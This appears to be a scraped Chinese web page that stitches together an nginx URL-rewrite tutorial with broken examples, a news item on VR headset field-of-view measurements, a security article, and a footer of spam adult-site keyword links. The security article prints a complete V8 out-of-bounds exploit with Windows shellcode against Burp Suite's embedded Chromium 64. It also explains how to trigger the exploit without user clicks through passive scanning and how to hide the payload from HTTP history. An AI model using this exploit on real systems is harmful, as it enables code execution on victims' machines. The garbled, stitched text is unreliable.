整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          nginx實現url重寫實例參考

          nginx實現url重寫實例參考

          ginx 的 rewrite 語法

          語法: rewrite regex replacement flag

          默認: none

          作用域: server, location, if

          此指令根據表達式來更改URI,或修改字符串。

          指令根據配置文件中的順序來執行。

          注意:

          重寫表達式只對相對路徑有效。如果想配對主機名,應該使用if語句。

          rewrite只是會改寫路徑部分的東東,不會改動用戶的輸入參數,因此這里的if規則里面,你無需關心用戶在瀏覽器里輸入的參數,rewrite后會自動添加的,因此,只是加上了一個?號和后面我們想要的一個小小的參數 ***https=1就可以了。

          nginx的rewrite規則參考:

          ~ 為區分大小寫匹配

          ~* 為不區分大小寫匹配

          !~和!~*分別為區分大小寫不匹配及不區分大小寫不匹

          -f和!-f用來判斷是否存在文件

          -d和!-d用來判斷是否存在目錄

          -e和!-e用來判斷是否存在文件或目錄

          -x和!-x用來判斷文件是否可執行

          last 相當于Apache里的[L]標記,表示完成rewrite,呵呵這應該是最常用的

          break 終止匹配, 不再匹配后面的規則

          redirect 返回302臨時重定向 地址欄會顯示跳轉后的地址

          permanent 返回301永久重定向 地址欄會顯示跳轉后的地址

          $args

          $content_length

          $content_type

          $document_root

          $document_uri

          $host

          $http_user_agent

          $http_cookie

          $limit_rate

          $request_body_file

          $request_method

          $remote_addr

          $remote_port

          $remote_user

          $request_filename

          $request_uri

          $query_string

          $scheme

          $server_protocol

          $server_addr

          $server_name

          $server_port

          $uri

          結合QeePHP的例子:

          復制代碼代碼示例:

          if (!-d $request_filename) {

          rewrite ^/([a-z-A-Z]+)/([a-z-A-Z]+)/?(.*)$ /index.php?namespace=user&controller=&action=& last;

          rewrite ^/([a-z-A-Z]+)/?$ /index.php?namespace=user&controller=last;

          break;

          多目錄轉成參數

          復制代碼代碼示例:

          abc.domian.com/sort/2=> abc.domian.com/index.php?act=sort&name=abc&id=2

          if ($host ~* (.*)\.domain\.com) {

          set $sub_name ;

          rewrite ^/sort\/(\d+)\/?$ /index.php?act=sort&cid=$sub_name&id=last;

          }

          映維網 2020年11月11日)繼VR頭顯追蹤精度測量報告之后,德國機構Virtual Dimension Center (VDC)日前又發布了一份名為《Head-Mounted Displays: Messung des Sichtfelds (Field of View)》的頭顯視場測量報告。

          延伸閱讀:哪個VR頭顯的追蹤精度最高?德國VDC發布頭顯追蹤系統測量報告

          有人或許會好奇,廠商不是已經公布了設備的規格信息嗎,這種測量報告又有何意義呢?對于這個問題的答案,研究人員認為正如會短斤缺兩的商販一樣,我們無法確認頭顯的實際視場是否就如廠商聲稱的一樣。另外,正如不同朝代對“斤”的重量定義不同,不同廠商之間或許采用了不同的測量標準。

          所以,VDC希望以一種統一的科學計量方法來測量市面各款頭顯的視場。

          在這份報告中,VDC共測量了14款VR頭顯的視場。研究人員采用了一個標準化的三維頭部模型,并用攝像頭代替眼睛。利用統一的測試圖像,研究人員可以分析各款頭顯的視場維度。

          根據測試結果,對角線視場最大的VR頭顯是小派的8K系列,最大達到141.5度。三星玄龍約為102度,HTC Vive Pro約為96.5度。初代Quest的排名較后,約為85度。

          根據頭顯廠商聲稱的數值,VDC同時給出了之于測量值的比較圖。如下圖所示,橙色柱子為各家廠商聲稱的頭顯視場,黑色柱子為VDC的測量數值,白色柱子則是兩者之間的差值:

          我們可以看到,各款頭顯的聲稱視場與VDC的測量數值都存在不同程度的出入。其中,兩者差值最小的是惠普頭顯,反之則是小派的8K系列。

          遺憾的是,測試的VR頭顯列表只有14款,而且大多為前代的產品,不包括當前熱門的VR頭顯,如Oculus Quest 2,Valve Index和Pico Neo 2等。

          研究人員同時指出,盡管采用了統一的科學測量方式,但由于不同用戶的頭部形狀及IPD不盡相同,在配合不同的VR頭顯及選擇不同的配置時會存在視場方面的差別。

          VDC的完整報告包括其他測量值,如水平視場和垂直視場。有興趣的讀者可以訪問下面的鏈接:

          騰訊文檔:Head-Mounted Displays: Messung des Sichtfelds (Field of View)

          原文鏈接:https://yivian.com/news/79780.html

          、前言

          Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。

          近幾年許多桌面客戶端應用中,基本都內嵌了Chromium用于業務場景使用,但由于開發不當、CEF版本不升級維護等諸多問題,攻擊者可以利用這些缺陷攻擊客戶端應用以達到命令執行效果。

          本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴展等方面進行深入探討。

          二、軟件分析

          以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構及功能點。

          burpsuite_pro_v2.0.11beta.jar進行解包,可以發現Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統下運行內置Chromium瀏覽器。

          在Windows系統中,Burp Suite v2.0運行時會將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄

          從目錄名及數字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。

          那如何在Burp Suite中使用內置瀏覽器呢?在常見的使用場景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能夠調用內置Chromium瀏覽器渲染網頁。

          當Burp Suite喚起內置瀏覽器browsercore32.exe打開網頁時,browsercore32.exe會創建Renderer進程及GPU加速進程。

          browsercore32.exe進程運行參數如下:

          // Chromium主進程
          C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
          
          // Renderer進程
          C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
          

          從進程運行參數分析得知,Chromium進程以headless模式運行、關閉了沙箱功能、隨機監聽一個端口(用途未知)。

          三、漏洞利用

          Chromium組件的歷史版本幾乎都存在著1Day漏洞風險,特別是在客戶端軟件一般不會維護升級Chromium版本,且關閉沙箱功能,在沒有沙箱防護的情況下漏洞可以無限制利用。

          Burp Suite v2.0內置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個歷史漏洞影響,可以通過v8引擎漏洞執行shellcode從而獲得PC權限。

          以Render功能演示,利用v8漏洞觸發shellcode打開計算器(此處感謝Sakura提供漏洞利用代碼)

          這個漏洞沒有公開的CVE ID,但其詳情可以在這里找到。
          該漏洞的Root Cause是在進行
          Math.expm1的范圍分析時,推斷出的類型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會返回-0的情況,從而導致范圍分析錯誤,導致JIT優化時,錯誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。

          <html>
          <head></head>
          </body>
          <script>
          function pwn() {
              var f64Arr=new Float64Array(1);
              var u32Arr=new Uint32Array(f64Arr.buffer);
          
              function f2u(f) {
                  f64Arr[0]=f;
                  return u32Arr;
              }
          
              function u2f(h, l)
              {
                  u32Arr[0]=l;
                  u32Arr[1]=h;
                  return f64Arr[0];
              }
          
              function hex(i) {
                  return "0x" + i.toString(16).padStart(8, "0");
              }
          
              function log(str) {
                  console.log(str);
                  document.body.innerText +=str + '\n';
              }
          
              var big_arr=[1.1, 1.2];
              var ab=new ArrayBuffer(0x233);
              var data_view=new DataView(ab);
          
              function opt_me(x) {
                  var oob_arr=[1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
                  big_arr=[1.1, 1.2];
                  ab=new ArrayBuffer(0x233);
                  data_view=new DataView(ab);
          
                  let obj={
                      a: -0
                  };
                  let idx=Object.is(Math.expm1(x), obj.a) * 10;
          
                  var tmp=f2u(oob_arr[idx])[0];
                  oob_arr[idx]=u2f(0x234, tmp);
              }
              for (let a=0; a < 0x1000; a++)
                  opt_me(0);
          
              opt_me(-0);
              var optObj={
                  flag: 0x266,
                  funcAddr: opt_me
              };
          
              log("[+] big_arr.length: " + big_arr.length);
          
              if (big_arr.length !=282) {
                  log("[-] Can not modify big_arr length !");
                  return;
              }
              var backing_store_idx=-1;
              var backing_store_in_hign_mem=false;
              var OptObj_idx=-1;
              var OptObj_idx_in_hign_mem=false;
          
              for (let a=0; a < 0x100; a++) {
                  if (backing_store_idx==-1) {
                      if (f2u(big_arr[a])[0]==0x466) {
                          backing_store_in_hign_mem=true;
                          backing_store_idx=a;
                      } else if (f2u(big_arr[a])[1]==0x466) {
                          backing_store_in_hign_mem=false;
                          backing_store_idx=a + 1;
                      }
                  }
          
                  else if (OptObj_idx==-1) {
                      if (f2u(big_arr[a])[0]==0x4cc) {
                          OptObj_idx_in_hign_mem=true;
                          OptObj_idx=a;
                      } else if (f2u(big_arr[a])[1]==0x4cc) {
                          OptObj_idx_in_hign_mem=false;
                          OptObj_idx=a + 1;
                      }
                  }
          
              }
          
              if (backing_store_idx==-1) {
                  log("[-] Can not find backing store !");
                  return;
              } else
                  log("[+] backing store idx: " + backing_store_idx +
                      ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
          
              if (OptObj_idx==-1) {
                  log("[-] Can not find Opt Obj !");
                  return;
              } else
                  log("[+] OptObj idx: " + OptObj_idx +
                      ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
          
              var backing_store=(backing_store_in_hign_mem ?
                  f2u(big_arr[backing_store_idx])[1] :
                  f2u(big_arr[backing_store_idx])[0]);
              log("[+] Origin backing store: " + hex(backing_store));
          
              var dataNearBS=(!backing_store_in_hign_mem ?
                  f2u(big_arr[backing_store_idx])[1] :
                  f2u(big_arr[backing_store_idx])[0]);
          
              function read(addr) {
                  if (backing_store_in_hign_mem)
                      big_arr[backing_store_idx]=u2f(addr, dataNearBS);
                  else
                      big_arr[backing_store_idx]=u2f(dataNearBS, addr);
                  return data_view.getInt32(0, true);
              }
          
              function write(addr, msg) {
                  if (backing_store_in_hign_mem)
                      big_arr[backing_store_idx]=u2f(addr, dataNearBS);
                  else
                      big_arr[backing_store_idx]=u2f(dataNearBS, addr);
                  data_view.setInt32(0, msg, true);
              }
          
              var OptJSFuncAddr=(OptObj_idx_in_hign_mem ?
                  f2u(big_arr[OptObj_idx])[1] :
                  f2u(big_arr[OptObj_idx])[0]) - 1;
              log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
          
              var OptJSFuncCodeAddr=read(OptJSFuncAddr + 0x18) - 1;
              log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
          
              var RWX_Mem_Addr=OptJSFuncCodeAddr + 0x40;
              log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
          
              var shellcode=new Uint8Array(
                     [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
                      0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
                      0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
                      0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
                      0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
                      0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
                      0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
                      0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
                      0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
                      0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
                      0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
                      0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
                      0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
              );
          
              log("[+] writing shellcode ... ");
              for (let i=0; i < shellcode.length; i++)
                  write(RWX_Mem_Addr + i, shellcode[i]);
          
              log("[+] execute shellcode !");
              opt_me();
          }
          pwn();
          </script>
          </body>
          </html>
          

          用戶在通過Render功能渲染頁面時觸發v8漏洞成功執行shellcode。

          四、進階攻擊

          Render功能需要用戶交互才能觸發漏洞,相對來說比較雞肋,能不能0click觸發漏洞?答案是可以的。

          Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。

          其中JavaScript分析配置中,默認開啟了動態分析功能(dynamic analysis techniques)、額外請求功能(Make requests for missing Javascript dependencies)

          JavaScript動態分析功能會調用內置chromium瀏覽器對頁面中的JavaScript進行DOM XSS掃描,同樣會觸發頁面中的HTML渲染、JavaScript執行,從而觸發v8漏洞執行shellcode。

          額外請求功能當頁面存在script標簽引用外部JS時,除了頁面正常渲染時請求加載script標簽,還會額外發起請求加載外部JS。即兩次請求加載外部JS文件,并且分別執行兩次JavaScript動態分析。

          額外發起的HTTP請求會存在明文特征,后端可以根據該特征在正常加載時返回正常JavaScript代碼,額外加載時返回漏洞利用代碼,從而可以實現在Burp Suite HTTP history中隱藏攻擊行為。

          GET /xxx.js HTTP/1.1
          Host: www.xxx.com
          Connection: close
          Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
          

          JavaScript動態分析 + 額外請求 + chromium漏洞組合利用效果:

          五、流量特征檢測

          默認情況下Java發起HTTPS請求時協商的算法會受到JDK及操作系統版本影響,而Burp Suite自己實現了HTTPS請求庫,其TLS握手協商的算法是固定的,結合JA3算法形成了TLS流量指紋特征可被檢測,有關于JA3檢測的知識點可學習《TLS Fingerprinting with JA3 and JA3S》。

          Cloudflare開源并在CDN產品上應用了MITMEngine組件,通過TLS指紋識別可檢測出惡意請求并攔截,其覆蓋了大多數Burp Suite版本的JA3指紋從而實現檢測攔截。這也可以解釋為什么在滲透測試時使用Burp Suite請求無法獲取到響應包。

          以Burp Suite v2.0舉例,實際測試在各個操作系統下,同樣的jar包發起的JA3指紋是一樣的。

          不同版本Burp Suite支持的TLS算法不一樣會導致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測只需要將每個版本的JA3指紋識別覆蓋即可檢測Burp Suite攻擊從而實現攔截。

          本文章涉及內容僅限防御對抗、安全研究交流,請勿用于非法途徑。


          主站蜘蛛池模板: 亚洲综合无码一区二区痴汉| 无码国产精品一区二区免费I6| 韩国美女vip福利一区| 波多野结衣一区二区三区高清在线 | 国产自产对白一区| 精品一区二区三区电影| 亚洲一区二区精品视频| 精品国产一区二区三区久久蜜臀| 99精品国产高清一区二区三区| 久久精品一区二区三区资源网| 中文字幕一区二区精品区| 中文字幕一区在线观看视频| 国产中文字幕一区| 亚洲电影一区二区三区| 日韩美一区二区三区| 精品国产日产一区二区三区| 波多野结衣一区视频在线 | 91秒拍国产福利一区| 国产裸体舞一区二区三区| 欧洲精品一区二区三区在线观看| 文中字幕一区二区三区视频播放 | 制服美女视频一区| av无码免费一区二区三区| 精品无码一区二区三区电影| 成人一区专区在线观看| 久久免费精品一区二区| 国产伦精品一区二区三区免.费| 四虎成人精品一区二区免费网站| 精产国品一区二区三产区| 日韩精品一区二区三区影院| 日本中文字幕一区二区有码在线| 国产一区中文字幕在线观看| 亚洲AV无码国产一区二区三区| 亚洲成AV人片一区二区密柚| 国产一区精品视频| 久久青青草原一区二区| 精品国产AV一区二区三区| 久久国产免费一区| 一区二区三区四区免费视频| 中文字幕精品无码一区二区| 一本色道久久综合一区|